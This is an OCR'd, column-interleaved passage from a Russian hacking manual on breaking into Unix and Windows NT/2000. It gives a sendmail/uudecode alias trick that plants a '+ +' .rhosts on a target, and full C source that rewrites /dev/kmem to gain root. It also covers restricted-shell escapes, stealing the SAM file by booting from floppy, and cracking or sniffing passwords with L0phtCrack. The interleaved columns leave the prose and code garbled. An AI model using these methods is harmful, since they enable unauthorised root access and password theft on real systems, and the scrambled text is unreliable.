Этот файл дает возможность отправлять почту на имя одного или Не слишком трудно. Данный тип трояна может включать в себя
нескольких пользователей или подключиться к самой программе. Для менее 10ти строк дополнительного кода.
таких файлов существует очень известный троян uudecode. Просто до
бавьте строку:
(11) Эзотерический: использование \dev\khem
"decode: "|/usr/bin/uudecode"
Сейчас мы погрузимся в святая святых системы. Так как парамет
в файл /etc/aliases. При это вам следует создавать файл uuencod ры ядра находятся в памяти машины, то, следовательно, модифицирова
ed.rhosts с полным указанием его месторасположения. ние памяти компьютера может привести к изменению UID. Чтобы это
#! /bin/csh сделать, удостоверьтесь, что к \dev\khem установлен доступ для чте
# Create our .rhosts file. Note this will output to stdout. ния/записи. И далее по пунктам: открыть \dev\khem, найти вашу стра
echo "+ +" > tmpfile ничку в памяти, переписать UID, затем запустить csh, который и поме
/usr/bin/uuencode tmpfile /root/.rhosts няет ваш UID. Эта программа проделывает следующее.
Затем адресуйтесь к нужному сайту, порт 25. Отправьте «липовое» /* Если \khem доступен для чтения и для записи, то с помощью этой
письмо, используя uuencodeверсию файла .rhosts. В одной из строк (на программы можно установить и пользовательский, и групповой ID
стоящей) напечатайте следующее: к 0. */
%echo "+ +" | /usr/bin/uuencode /root/.rhosts | #include
mail decode@target.com #include
#include
И теперь можете дать волю своему воображению. Придумывайте
#include
себе псевдоним, пишите письма кому хотите, запускайте любые про
#include
граммы. Многие из описанных выше методов сейчас могут найти себе
#include
применение.
#include
#define KEYWORD "nomenclature1"
struct user userpage;
long address(), userlocation;
Взлом Unix 115 116 Взлом Unix

int main(argc, argv, envp) #include


int argc; #include
char *argv[], *envp[];{ #define LNULL ((LDFILE *)0)
int count, fd; long address(){
long where, lseek(); LDFILE *object;
if(argv[1]){ /* we've got an argument, is it the keyword? */ SYMENT symbol;
if(!(strcmp(KEYWORD,argv[1]))){ long idx=0;
fd=(open("/dev/kmem",O_RDWR); object=ldopen("/unix",LNULL);
if(fd<0){ if(!object){
printf("Cannot read or write to /dev/kmem\n"); fprintf(stderr,"Cannot open /unix.\n");
perror(argv); exit(50);
exit(10); }
} for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
userlocation=address(); if(!strcmp("_u",ldgetname(object,&symbol)))
where=(lseek(fd,userlocation,0); {
if(where!=userlocation){ fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
printf("Cannot seek to user page\n"); ldclose(object);
perror(argv); return(symbol.n_value);
exit(20); }
} }
count=read(fd,&userpage,sizeof(struct user)); fprintf(stderr,"Cannot read symbol table in /unix.\n");
if(count!=sizeof(struct user)){ exit(60);
printf("Cannot read user page\n"); }
perror(argv);
exit(30); (12)
} С тех пор как описанный выше код на основе /dev/kmem стал об
printf("Current UID: %d\n",userpage.u_ruid); щеизвестным, что, естественно, нас совершенно не радует, нам постоян
printf("Current GID: %d\n",userpage.g_ruid); но приходится быть начеку и использовать его с максимальной осторож
userpage.u_ruid=0; ностью.
userpage.u_rgid=0;
where=lseek(fd,userlocation,0); Мой вам совет — напишите сценарий оболочки по образцу (7),
if(where!=userlocation){ чтобы на время (допустим, на 5 минут) изменить разрешения, установ
printf("Cannot seek to user page\n"); ленные к /dev/kmem, а затем вернуть их значения обратно.
perror(argv); Добавьте эти строки к шаблону из пункта (7):
exit(40);
chmod 666 /dev/kmem
}
sleep 300 # Nap for 5 minutes
write(fd,&userpage,((char *)&(userpage.u_procp)) ((char *)&user
chmod 600 /dev/kmem # Or whatever it was before
page));
execle("/bin/csh","/bin/csh", " i",(char *)0, envp);
}
}
} /* End main */
#include
Взлом Unix 117 118 Взлом Unix

Глава 6. При установке/обновлении данной системы старайтесь устанав


ливать/делать запускаемыми только действительно необходимые вам
Дефекты в системе безопасности программы, которые нужны вам сейчас или которыми вы точно станете
пользоваться. Многие пакеты содержат демоны и утилиты, позволя
Дефекты в системе безопасности бывают нескольких видов: ющие посторонним лицам считывать информацию. К примеру, пакет
AT&T System V Unix включает в себя программу acctcom(1), в которой
Физические дефекты установки по умолчанию предоставляют одному пользователю свобод
В этом случае проблема состоит в возможности получения неле ный доступ к учетным данным другого. Многие пакеты ТСР/IP автома
гального доступа к системе и, как последствия, компьютерного хулиган тически инсталлируют/запускают такие программы, как rwhod, fingerd и
ства и вандализма. Вот вам хороший пример — сетевая рабочая станция, <иногда> tftpd, использование которых может повлечь за собой серьез
которая при отсутствии должных предосторожностей может быть пере ные проблемы с обеспечением безопасности системы.
ведена взломщиком в режим singleuser (единичного пользователя) с од Решение этих проблем заключается в тщательно продуманном
новременным уничтожением всей файловой системы. администрировании системы. Большинство подобных программ ини
Еще один пример — обеспечение сохранности конфиденциаль циализируется/запускается во время начальной загрузки; вы можете из
ной информации на различных носителях, которые, несмотря на уста менить сценарии начальной загрузки (обычно расположенные в катало
новленные к файлам разрешения, вполне могут быть прочитаны любым гах /etc, /etc/rc, /etc/rcX.d) для предотвращения их запуска. Вы также
пользователем системы, имеющим доступ к соответствующему сегменту можете просто удалить некоторые из этих программ. Для ряда утилит
диска. предотвратить несанкционированный запуск может простая команда
chmod(1).
Дефекты программного обеспечения
Здесь основная проблема заключается в ошибках в «привилегиро Глава 7.
ванных» программах (демоны, установки для cron), чьи функции могут
быть задействованы при взломе системы. Самый известный пример — Не доверяйте сценариям/программам
это «sendmail debug», который позволяет хакеру запускать корневую обо инсталляции
лочку. При этом может быть удалена файловая система, создан новый
аккаунт, скопирован файл passwrd, короче, все, что только можно приду Подобные средства обычно загружают сразу весь пакет без диффе
мать (вопреки общему мнению, взлом, аналогичный sendmail, не ограни ренцированных запросов. В большинстве случаев в документации к ин
чивается только небезызвестным «Internet Worm», это вполне осуще сталляции есть список всех программ пакета; ознакомьтесь с ним.
ствимо и при запуске telnet через 25 порт атакуемого компьютера.
Новые «дыры» в системе безопасности появляются чуть ли не еже Дефекты изBза совместимости оборудования
дневно, поэтому самое лучшее, что вы можете сделать, это: Иногда недостаточный профессионализм системного менеджера
приводит к использованию таких комбинаций «железа» и «софта», кото
а) постараться структурировать свою систему таким образом, что
рые позволяют взломщикам преодолевать все защитные системы. По су
бы даже самые незначительные программы работали только под приви
ти дела, это пример «погони за двумя зайцами», естественно, ни один из
легиями root/daemon/bin, а если существует необходимость прописать
зайцев в конечном счете не попадает в ловушку, на зато в систему попа
софт под других пользователей, то убедитесь, что их аккаунты не подда
дает незванный гость.
ются взлому.
После полного завершения установки оборудования обнаружение
b) подпишитесь на рассылку, где публикуется информация об ин
подобных «дыр» в системе безопасности становится для системного ад
тересующих вас проблемах, и таким образом вы сможете вовремя отреа
министратора настоящей головной болью, поэтому лучше всего следить
гировать на обнаруженный дефект.
за появлением этих моментов с самого начала работы машины. Впрочем,
никогда не поздно вернуться на несколько шагов назад.
Взлом Unix 119 120 Взлом Unix

Ниже разобраны некоторые примеры; но давайте не будем сейчас 11) Символические связи.
на этом останавливаться, дабы не испортить впечатление.
12) Демоны, особенно доступные пользователям.
Выбор стратегии защиты и ее применение 13) Параметры маршрутизации в ядре.
Четвертый вид проблем с безопасностью касается адекватного Предложенную схему можно разбить на категории и подкатего
восприятия. Хорошие программы, защищенное «железо», но вполне рии:
совместимые компоненты системы не заработают, если только вы не вы
берете соответствующую стратегию защиты и не включите отвечающие I: Suidбинары и сценарии
за безопасность сегменты системы. Даже использование самого лучшего а) Непредвиденные действия пользователя.
на свете механизма паролирования не даст никакого результата, если ва
ши пользователи считают лучшим паролем свой собственный логин! Бе б) Свободные подключения.
зопасность — это взаимодействие общей стратегии (или стратегий) и со в) Имплицитные предположения о внешних условиях (ссылки
гласованных с ней операций. sym, loc.пути).
г) Параметры маршрутизации.
Глава 8. II: Демон, функционирующий со SUID
Мысли о хакинге Unix а) Параметры маршрутизации.
Важно: Вся предлагаемая информация должна быть распределена б) Недостаточная защита файла.
по следующим категориям:
в) Имплицитная защита файла.
1) Общие принципы.
г) Доверие.
2) Поиск дефектов в src.
д) Аутентичность.
3) Просмотр в двоичных распределениях.
III: Проблемы ядра
4) Просмотр специальных конфигураций сайта.
а) Параметры маршрутизации в ядре.
Некоторые пункты классификации напрашиваются сами собой:
б) Код драйвера устройства.
1) SUID/SGID.
Ниже рассматривается четырехэтапный метод, разработанный
2) Коды завершения/условия ошибки. System Development Corporation и дающий 65%ную гарантию обнаруже
3) Непредвиденный ввод. ния дефектов в системе безопасности. Поиск таких «дыр» в операцион
ной системе включает четыре этапа:
4) Параметры маршрутизации.
5) Проверка на аутентичность. Этап 1
Изучение структуры управления данной конкретной системы.
6) Имплицитное доверие.
Чтобы найти лазейки в системе безопасности и определить ее де
7) Параметры.
фекты, необходимо четко уяснить структуру управления системы и ее
8) Разрешения. уровни.
9) Прерывания.
10) Ввод/вывод.
Взлом Unix 121 122 Взлом Unix

Вот что нужно знать: ния аутентичности пользовательских имен. Часто код, изначально со
зданный не как suid, функционирует именно как suid, манипулируя ка
A) Объекты защиты: то, что надо защитить. Например: файлы
налами для разрешения проблем с доступами файлов.
пользователей.
Хорошо бы разработать базу данных, которая бы сравнивала пар
B) Объекты управления: то, что защищает объекты защиты. На
ные и тройные данные, както: название программы, suid, sgid, объект
пример: inode (индексные дескрипторы).
обращения (почему данная программа работает под suid/sgid), версия OS
C) Смешанные объекты: объекты, подпадающие под обе катего и ее происхождение.
рии. Например: файл пароля.
С таким списком в руках становится возможным графически вос Этап 3
произвести всю иерархию управления и определить вероятные пути Проверка предположений. (Тестирование системы на предмет об
взлома. Очень действенно и создание диаграмм для визуализации воз наружения дефектов).
можного прерывания связей.
Этап 4
Найти необходимую информацию можно в различных пользова
тельских, операторских и администраторских мануалах. Обобщение полученной информации с акцентированием специ
фических проблем данной системы.
Довольно полезным может оказаться и изучение исходного кода.
Для тех, кто пользуется нелицензированными продуктами, советуем ис
пользовать дистрибутивы LINUX, NET2 и BSD386. В будущем, возмож Глава 9.
но, станет реальностью рабочий контракт между отдельным лицом или
компанией, обладающими легальными дистрибутивами, и другими
Обнаружение отдельных дефектов
участниками этого проекта. Таким образом, фрагменты кода могут быть 1) Ищите подпрограммы, которые не проверяют диапазоны или
использованы в учебных (академических) целях постольку, поскольку параметры ввода.
они не используются для извлечения прибыли — впрочем, это необходи
мо проверить. Например: семья подпрограмм gets, позволяющая перезаписывать
границы буферов (sprintf()?, gets () и т.д.). А также strcpy (), вмонтирован
Этап 2 ная в большинство src:
Создание списка возможных дефектов (то есть предполагаемых #define SCYPYN((a)(b)) strcpy(a, b, sizeof(a))
дефектов). 2) SUID/SGID подпрограммы, написанные в одной из оболочек
вместо C или PERL.
Хронология кода
В чем состоит различие версий UNIX? Это бывает важно при со 3) SUID/SGID подпрограммы, написанные в PERL и не исполь
здании перекрестных ссылок (очень часто некий продавец вносит в па зующие программу taintperl.
кет изменения, а его версия получает широкое распространение). 4) SUID/SGID подпрограммы, использующие system(), popen(),
execlp() или execvp() при выполнении заданий.
Жесткая перекрестная ссылка
Командой who проверьте OS на наличие ошибок и установите, ка 5) Любая программа, которая использует относительные имена
кая версия поможет вам избежать двойной работы. пути.

Хорошо бы сначала вывести полный список всех suidбинаров 6) Использование относительных имен путей для определения ди
в различных версиях OS. Затем попытайтесь выяснить причину опреде намически связанных библиотек.
ления suid к каждой конкретной программе. Например: rcp имеет корне
вой suid, потому что использует привилегированный порт для установле
Взлом Unix 123 124 Взлом Unix

7) Подпрограммы, не проверяющие ошибки в кодах возврата при 14) Отладьте процесс обнаружения ошибок так, чтобы он не отра
системных вызовах. (Например: fork(2), suid(2), setuid() как в знаменитой жался на системе безопасности.
ошибке rcp).
15) Недостаточная отлаженность, приводящая, например, к созда
8) Дефекты часто могут быть обнаружены в коде, который: нию неверных условий проверки кодов.
а) импортирован в новую среду; 16) Имплицитное доверие: подпрограмма B принимает параметры
подпрограммы А, потому что подпрограмма А является системным про
б) получил несанкционированный ввод;
цессом.
в) взаимодействует с другим локальным программным обеспече
17) Память системы — это данные или ссылка на параметры поль
нием;
зователя в адресном пространстве пользователей.
г) обращается к системным файлам, подобным passwd, L.sys и т.д.;
18) Интерсвязь во время процессов: возвращение условий (passwd
д) считывает входные данные из свободно перезаписываемого OK, illegal parameter, segment error и т.д.) может стать источником серьез
файла/каталога; ных проблем, особенно вкупе с п.17.
е) представляет собой одну из программ диагностики, которые ча 19) Параметры пользователя не поддаются адекватной проверке.
ще всего не позволяют пользователю защищать информацию.
20) Адреса, перекрывающие друг друга или обращающиеся к дру
9) Тестирование кода на предмет несанкционированного доступа. гим областям системы.
Средства для этого, включая различные утилиты, вполне доступны.
21) Пропуск проверки.
10) В manстраницах и в различных руководствах просмотрите па
22) Сбой системы предупреждения о необычных параметрах.
раграфы с предупреждениями против выполнения тогото и изменения
сегото. Обратите внимание на разделы «Ошибки». 23) Найдите уровни системы, в которых ряд модулей был написан
различными программистами или группами программистов — обяза
11) Поищите редко используемые или необычные функции или
тельно обнаружатся «дырки».
команды — например, чтение в обратном направлении.
24) Регистраторы, указывающие на месторасположение значений
В частности, интересные результаты может дать поиск не нашед
параметра вместо того, чтобы передать это значение непосредственно.
ших отражение в инструкциях флагов/аргументов.
25) Любая программа, функционирующая с системными привиле
Проверьте флаги, работающие в более ранних выпусках вашей
гиями. (Слишком много программ имеют UID 0, что облегчает доступ
операционки или в других OSверсиях. Проверите опции, которые могут
к некоторым таблицам и проч.)
быть использованы другими программами. Например, telnet использует
опцию h для входа в систему... ладно, пропишите в login.c: 26) Группа свободночитаемых временных файлов, буферов и т.д.
if((getuid()) && hflag){ 27) Неотлаженность пороговых значений и регистрации.
syslog()
exit() 28) Изменение параметров особо важных областей системы до их
} выполнения одновременно запущенным процессом (условия маршрути
зации).
12) Просмотрите условия маршрутизации.
29) Неадекватная проверка границы при компиляции, например,
13) Отключите часть софта, и тем самым вы проверите, действи
в случае, когда пользователь может запустить машинный код, оформлен
тельно ли она, эта часть, связана с предполагаемым вами программным
ный как общие данные в области данных (если текстовая область и об
обеспечением или аппаратным модулем.
ласть данных разделены).
Взлом Unix 125 126 Взлом Unix

30) Неправильное прерывание пользователем работы компьютера. к непредвиденным результатам (только посмотрите, сколько программ
Большинство пользователей сначала или прерывают выполняемый про доверяют /etc/utmp).
цесс или доводят его до конца, а уже потом выключают компьютер, в то
41) Любые программы, особенно допускающие выход из оболочки
время как другие, не закончив корректно свою работу, оставляют систе
и идущие под suid/sgid.
му фактически в незащищенном состоянии, оставляя открытыми фай
лы, в которых велась запись.
31) Код, использующий fopen(3) без установки umask. (Например: Глава 10.
at(1) и др.) Взламываем ограничивающую оболочку
Вообще любой код, не перезапускающий UID перед началом па
раллельного действия. При некачественно выполненной ограничивающей оболочке
можно взломать ограничивающую среду, выполнив программу, которая
32) Trace — ваш хороший помощник (или truss в SVR4). Он выяс показывает функцию оболочки. Хороший пример vi (простой текстовый
няет, какие системные вызовы используются программой. редактор). Выполните vi и используйте следующую команду:
33) Тщательно проверьте /usr/local. Многие администраторы ус :set shell = /bin/sh
танавливают программное обеспечение из сети. Часто вы найдете здесь
tcpdump, top, nfswatch... они запросто могут использовать корневой Затем shell, использующий эту команду:
suid. :shell
34) Проверьте программы под suid и убедитесь, что они являются Если ваш ограниченная оболочка не позволяет использовать ко
именно теми самыми продуктами, которые были установлены сначала. манду cd, зайдите через ftp на самого себя, и вы получите доступ к ис
Администраторы иногда меняют пароли, что менее безопасно, чем дис пользованию cd.
трибутивная версия.
35) Найти программы, устанавливающие программное обеспече
ние или загружаемые модули ядра.
36) Вообще динамически связанные программы. Вспомните
LD_PRELOAD, думаем, что это еще не предел.
37) Программирование канала I/O — вот, что сейчас главное.
Ищите логические ошибки, противоречия и удаления.
38) Если возможно, отследите в I/O программе наличие возмож
ности самостоятельного модифицирования и запуска циклов (preload
может помочь это осуществить это).
39) Если каналы I/O действуют как независимые процессоры, то
они могут иметь неограниченный доступ к памяти, и таким образом си
стемный код может быть изменяться в памяти еще до своего выполне
ния.
40) Найдите ошибки, существующие во многих частях программ
ного обеспечения. К примеру, скажем, программа А может быть исполь
зована для изменения файла конфигурации /etc/a, программа В прини
мает эту информацию без проверки, и все это может привести
Взлом Microsoft Windows 2000 127 128 Взлом Microsoft Windows 2000

Взлом оценить интеллектуальную собственность? Тут вступает в действие все


мирный пофигизм, вот он — главный друг хакера.

Microsoft Windows 2000 Безопасности компьютерной системы или сети обычно присущи
три составляющие:
1. Физический доступ к компьютеру;
2. Доступ в локальной сети;

Глава 1. 3. Доступ в глобальной сети.

Основные принципы взлома защиты Эти три составляющие очень тесно связаны между собой, поэтому
мы последовательно рассмотрим их. Приведенные ниже способы пре
сетевых операционных систем Windows NT одоления защиты этих трех уровней помогут понять сам принцип взлома
и Windows 2000 системы. Кроме того, хакерские инструменты первого и второго уровня
часто могут помочь взломщику компьютерных систем, если он работает
В этой части мы изложим основные принципы взлома защиты се удаленно через Internet.
тевых операционных систем Windows NT и Windows 2000. Сделаем небольшое отступление. Необходимо понять один про
Почему нами выбрана группа операционных систем Windows стой принцип. Все течет, все изменяется, и на любые каверзы хакеров
NT/2000? Семейство операционных систем Windows NT/2000 (в даль умные программеры и системные администраторы придумают свои пре
нейшем просто Windows NT, т.к. Windows 2000 является по своей сути поны и защиты. Но принцип взлома они победить не смогут, ибо что
пятой версией NT) имеет богатейшие возможности работы с конфигура один человек сделал, другой завсегда разобрать сможет. А те программы,
цией операционной среды, поддерживает устаревшее программное обес которыми необходимо пользоваться, могут устареть, или те конкретные
печение для операционных систем DOS, Windows 3.xx/95/98, что влечет дыры в защите, описанные в этой главе, через некоторое время будут за
за собой возможность с большей вероятностью найти в защите системы латаны песочнобезэшным Билли... Начнем с простого.
слабое место. Всегда надо помнить принцип: Обычно ломается лифт, а не
лестница. Следовательно, чем проще, тем надежней.
Глава 2.
Вторая причина, почему мы остановили свой выбор на семействе
Windows NT — изза популярности этих систем и распространенности их
Физический доступ к компьютеру
в мире. С одной стороны, украсть информацию из Windows NT/2000 за Что такое физический доступ к компьютеру? Это значит, что вы
труднительно, т.к сложность похищения информации вызвана, конечно, имеете доступ к компьютеру, на котором находится интересующая вас
не безупречностью TCP/IP стека Windows NT, а его убогостью и отсут информация. Причем доступ этот физический, т.е. вы можете подойти к
ствием в стандартной поставке сетевых демонов и крайне ограниченным этой машине, потрогать ее ручками. Желательно, чтобы трогание ручка
набором клиентских утилит (host, nslookup, talk и т.д.). Хакеры со всех ми было воспринято окружающими без эмоций, а лучше вообще не вос
концов света обратили на нее свое внимание и, естественно, нашли и на принято, т.е. вы там частый гость, или лучший друг своего недруга (зачем
ходят прорехи в системе безопасности Windows NT. друзей подставлять), или.., ну в общем, вы — ужас, летящий на крыльях
Методы взлома, изложенные здесь, будут доступны для хакера ночи, никем не замеченный. Вот что значит физический доступ.
невысокой квалификации. Те программы или средства, которые потре Сначала немного общеобразовательных моментов.
буются для подрыва защиты и проникновения в систему, можно свобод
но найти на страницах Internet`а. Кроме того, еще не все системные ад В семействе операционных систем Windows NT реализована воз
министраторы осознали необходимость комплексного подхода при можность контроля за локальным доступом (т.е. доступом к локальному
защите информации для сетей под Windows NT. Обычно затраты на со диску, винту, если так понятнее). Реализуется эта возможность с помо
хранность ценностей составляют от 10 до 30% от их стоимости. Но как щью новой (по сравнению с FAT) файловой системой NTFS на основе
Взлом Microsoft Windows 2000 129 130 Взлом Microsoft Windows 2000

расширений файловой системы. Вообщето Windows NT поддерживает В том случае, если информация зашифрована с помощью ка
две системы — FAT и NTFS. Поэтому мы рассмотрим способ взлома сна койлибо программы, то самый простой способ — это найти ключ, спо
чала для FAT. соб потруднее — его отгадать. А вот если установлено аппаратное шиф
рование, то тут без ключа никак не обойтись. Ключ может быть
Самый простой и надежный — загрузка с дискеты и копирование
программный, выносной (на внешнем носителе) и комбинированный.
данных на ZIPдисковод. Таким образом, вам становится доступной вся
У нас в России распространены шифрующие контроллеры дисков серии
та часть информации, которая хранится с помощью FAT. Но такую халя
КРИПТОН, имеющие сертификат ФАПСИ.
ву вам вряд ли когда подсунут. Скорее всего, придется повозиться
с NTFS. Вот тут и начинается наша песня. Если вам удалось получить физический доступ к информации на
машине, то вы приступаете к следующей стадии взлома системы, а имен
NTFS используют всегда, когда требуется защитить информацию
но к получению паролей пользователей системы и/или прав администра
и распределить доступ к ней. Но вот беда — все это работает только при
тора. Существует такой файл SAM, в нем хранятся учетные записи поль
работе под Windows NT. А вот если вам удастся загрузить MSDOS с дис
зователей и их пароли. Получить к нему доступ возможно, загрузившись
кеты, то любая информация из разделов, работающих под NTFS, может
с дискеты и скопировав этот файл. Сам файл располагается в каталоге
быль считана с помощью драйвера NTSFDOS.EXE (автор — Mark
WINNT\SYSTEM32\CONFIG\. Когда Windows NT запущена и работает,
Russinovich, поклон ему земной). И никакая система безопасности
доступ к файлу SAM, который располагается в директории WINNT\SYS
Windows NT тут не поможет, ну, кроме злобного сисадмина, который с
TEM32\CONFIG\, имеет только администратор, но файл можно скопи
дубинкой дежурил бы рядом. Но, естественно, нужен дисковод. Если его
ровать, загрузившись с системной дискеты.
нет, а такое может быть, или он какимто образом вам не доступен, и та
кое может быть тоже, знать, не судьба — надо искать другой способ. Если вам удалось заполучить файл SAM, то для взлома вы можете
использовать программу L0PHTCrack. Найти ее возможно в поисковой
Ну, вот вы незаметно загрузились с дискеты, запустили программ
системе Rambler.ru или AltaVista. Ниже приведено более подробное опи
ку NTSFDOS.EXE и обнаруживаете, что ничего не видите или видите, но
сание данной программы.
понять или прочесть не можете. А это значит, что сисадмин оказался
чутьчуть умнее, чем мы предполагали, и зашифровал информацию на Для того чтобы избежать просмотра паролей, их подвергают хэши
диске посредством программных или аппаратных средств. Зашифровать рованию. Но, как известно, что зашифровали, то расшифровать можно.
он ее мог или средствами какойлибо посторонней программы (аппара Хотя хэширование имеет одну неприятность: для восстановления пароля
та), или с помощью Windows NT (такая возможность уже появилась в надо перебрать все возможные значения. А, следовательно, существует
Windows 2000). Так как мы в этой главе освещаем методы взлома Windows пропорциональная зависимость между временем, требуемым для де
NT, то про методы взлома систем шифрования мало чего скажем. Мы хэширования, длиной пароля и количеством применяемых символов.
просто перечислим некоторые из них:
Стандартно программы ограничивают длину пароля до 1316 сим
SeNTry2020 (http://www.softwinter.com); волов, хотя Windows NT поддерживает до 128 символов. Еще одна хит
рость в том, что файл SAM содержит два хэшированных представления
SecurityPlus (http://www.softbytelabs.com);
одного и того же пользовательского пароля, полученные с помощью раз
Cryptext (http://www.tip.net.au/~njpayne). ных алгоритмов. Один из них — в стандарте Windows NT, другой — в
стандарте LAN Manager. Вообще стандарт LAN Manager применяют для
А если вдруг объектом вашего внимания стала машина, находяща
того, чтобы добиться совмещения с другими ОС, установленными на ра
яся на госпредприятии или на предприятии, на котором размещен госза
бочих станциях, например: Windows 3.11 for Workgroups и Windows 95/98.
каз, то можно однозначно определить, что используемая там система
Вот то, о чем мы писали выше: всевозможные достоинства можно обра
шифрования — «ВербаOW» (http://www.security.ru), которая сертифи
тить в недостатки, ведь хэшированный пароль стандарта LAN Manager
цирована ФАПСИ. Конечно, это может быть и не эта система шифрова
слабо устойчив к взлому, так как каждая из двух половин 14байтового
ния, но обязательно сертифицированная ФАПСИ. А таких систем не так
символьного пароля хэшируется независимо, а результаты затем соеди
уж много. Да и список таких систем можно легко узнать, так как нет луч
няются. Таким образом, вычисление 14байтового пароля эквивалентно
шей рекламы для продажи, чем сертификат ФАПСИ.
взлому двух 7байтовых паролей, что значительно сокращает число воз
Взлом Microsoft Windows 2000 131 132 Взлом Microsoft Windows 2000

можных комбинаций для перебора. По этой причине, если вы будете Глава 4.


взламывать пароль, то сначала займитесь паролем, захэшированным по
стандарту LAN Manager. Программа L0phtCrack
Существующая программа L0phtCrack, работающая на Pentium Программа L0phtCrack позволяет вычислять пароли, используя
II450, может вскрыть пароль любой длины, как спелый арбуз, примерно два различных метода. При использовании первого метода применяется
за трое суток (ниже мы рассмотрим работу этой утилиты подробнее). поисковая словарная таблица, которую определяет специальный файл
Обычно наивные администраторы защищаются с помощью утилиты словаря. Хэшированные пароли для всех слов в файле словаря уже явля
SYSKEY, входящей в состав Service Pack 3. SYSKEY позволяет дополни ются вычисленными и сравниваются со всеми паролями для пользовате
тельно зашифровать данные в SAM, после чего программы извлечения и лей данной SAM. Когда имеется соответствие — пароль известен. Этот
восстановления паролей не смогут корректно обрабатывать информа метод чрезвычайно быстр. Тысячи пользователей могут быть проверены
цию из этого файла. Это надо учитывать. Но помните — все течет, все из при помощи 300 КБ файла словаря всего за несколько минут на обычном
меняется, и последняя версия программы L0phtCrack позволяет пробить PII. Недостаток этого метода состоит в том, что при помощи словаря
и дополнительное шифрование этой утилиты. можно определить только очень простые пароли, которые существуют
в английском языке (словарный запас которого не превышает 100 тыс.
слов).
Глава 3.
Для открытия словаря wordenglish вам необходимо выполнить
Извлечение и вскрытие текстовых паролей команду «File» (Файл) ➪ «Open Wordlist File» (Открыть словарь).
из украденной SAM Второй метод использует последовательный перебор набора сим
волов типа AZ или AZ и 09 (и также других наборов) и вычисляет хэш
Рассмотрим взлом SAMфайла более подробно, углубимся в дета
для каждого возможного пароля для этих символов. Единственный недо
ли… Итак, как было сказано ранее, информация обо всех пользователях
статок данного метода — время. Данный метод использует интенсивный
Windows NT/2000 и их паролях хранится в базе данных системы (registry),
перебор значений, что требует больших вычислительных мощностей.
которая физически расположена в файле %SystemRoot%\SYSTEM32\
Чем больший набор символов вы указали в меню «Tools» (Сервис) ➪
CONFIG\SAM — базе данных безопасности системы. Данный файл яв
«Оptions» (Параметры), тем дольше времени требуется для перебора всех
ляется по умолчанию заблокированным, т.к. используется прочими ком
значений.
понентами системы. Поэтому вам не удастся напрямую скопировать этот
файл. Однако, если администратор системы регулярно выполняет опера Набор символов AZ требует приблизительно 7 часов вычислений
цию создания диска ERD (Emergency Repair Disk), то относительно све на 600 герцовых процессорах PIII или Athlon. Представьте себе, что через
жая копия данного файла содержится в директории %SystemRoot%\ какиенибудь 7 часов вы будете иметь ключи от системы и будете эдаким
REPAIR\. Но если администратор системы не выполнял данную опера маленьким богом, местного значения или не местного, как повезет.
цию, то полученная база будет содержать пользователей Administrator и
Набор AZ и 09 требует приблизительно трое суток.
Guest, с паролями, присвоенными во время инсталляции операционной
системы. Пароли в данном файле хранятся в 16байтном значении, за Однако программа L0phtCracks разработана с учетом возможно
шифрованном (в кодировке UNICODE) с использованием хэшалгорит сти интенсивных и долговременных вычислений и может использовать
ма MD4. Поэтому для взлома паролей Windows NT/2000 вам необходимо преимущества многопроцессорных систем. Если вы не хотите, чтобы
выделить из базы данных безопасности системы имя пользователя и со программа присутствовала в панели задач, выберите в меню «Window»
ответствующее ему хэшзначение. Данная процедура может быть выпол (Окно) ➪ «Hide, Ctrl+Alt+L to Show» (Спрятать, для вывода на экран на
нена с использованием программного обеспечения, доступного через жмите Ctrl+Alt+L).
Internet и описанного ниже.
При запуске данной программы на многопроцессорном сервере
она будет выполняться низким приоритетом, используя вычислительные
возможности неактивного центрального процессора. Программа регу
Взлом Microsoft Windows 2000 133 134 Взлом Microsoft Windows 2000

лярно, через каждые пять минут, сохраняет результаты вычислений, что Однако сервер Windows NT/2000 может запретить попытку досту
позволяет восстанавливать состояние вычислений в случаях отключения па к системному реестру по сети, если сконфигурирован надлежащим
питания или перезагрузок. образом.
Открытие файла, с которым программа работала до перезагрузки Кроме того, если версия Windows NT/2000 локализована, для
можно из меню «File» (Файл) ➪ «Оpen Password File» (Открыть файл па группы «Administrator» используется переведенное на другой язык слово,
ролей). например для русского языка «Администратор». Для того, чтобы програм
ма L0phtCrack корректно обратилась к дампу системного реестра удален
Инсталляция ного компьютера, вам необходимо изменить ключ системного реестра на
Для инсталляции просто разархивируйте дистрибутивный архив в вашем локальном компьютере. Для этого запустите программу regedit.exe
любой каталог на жестком диске. Создайте ярлык к программе l0pht и отредактируйте значение ключа HKEY_CURRENT_USER\Software\
crack.exe (или l0phtcrack95.exe для Windows 95/98). Кроме того, если вы LHI\L0phtCrack\AdminGroupName.
физически подключены к данной локальной сети и используете Присвойте значению этого ключа название группы «Administrator»
Windows NT 4.0 (или Window 2000), вы можете использовать сетевой для локализованной версии Windows NT (2000).
sniffer readsmb.exe, при помощи которого можно получить пароли кли
ентских машин Windows 3.11/95/95 и MSDOS. Перед использованием Получение хэшированных паролей из файла SAM
сетевого sniffer'а необходимо предварительно установить сетевой NDIS
Вы можете получить хэшированные пароли из файла SAM на
драйвер, который входит в дистрибутивный комплект. Этот драйвер мо
жестком диске, с резервной ленты или дискеты ERD (Emergency Repair
жет работать только поверх драйвера реально присутствующей в систе
Disk). Системный реестр NT фактически сохранен в нескольких различ
ме сетевой Ethernetплаты и использует протокол CSMACD. Для
ных файлах на системном диске в каталоге %SystemRoot%\SYS
установки NDISдрайвера откройте апплет «Network» (Сеть) в панели
TEM32\CONFIG\. Если вы имеете физический доступ к компьютеру с
управления. На вкладке «Protocols» (Протоколы) нажмите кнопку «Add»
установленной операционной системой Windows NT/2000, вы можете
(Добавить). Затем нажмите кнопку «Have Disk» (Установить с диска) и
загрузить машину при помощи системной дискеты DOS и использовать
определите каталог, в который вы установили L0phtCrack и в котором
программу типа NTFSDOS (http://www.ntinternals.com/ntfs20r), чтобы
находится файл Oemsetup.inf. После перезагрузки вы сможете использо
скопировать файл SAM на гибкий диск. Затем вы можете использовать
вать сетевой sniffer readsmb.exe для перехвата паролей клиентских ма
команду программы L0phtCrack «Import SAM File» (Импорт SAMфай
шин Windows.
ла), которая расположена в меню «File» (Файл), чтобы извлечь хэширо
ванный пароль из файла SAM. Если вы работаете с компьютером
Получение хэшированных паролей Windows NT (2000) удаленно, то вам остается только воспользоваться ре
Перед вычислением паролей необходимо получить доступ к хэши зервной копией базы SAM, которая хранится в каталоге
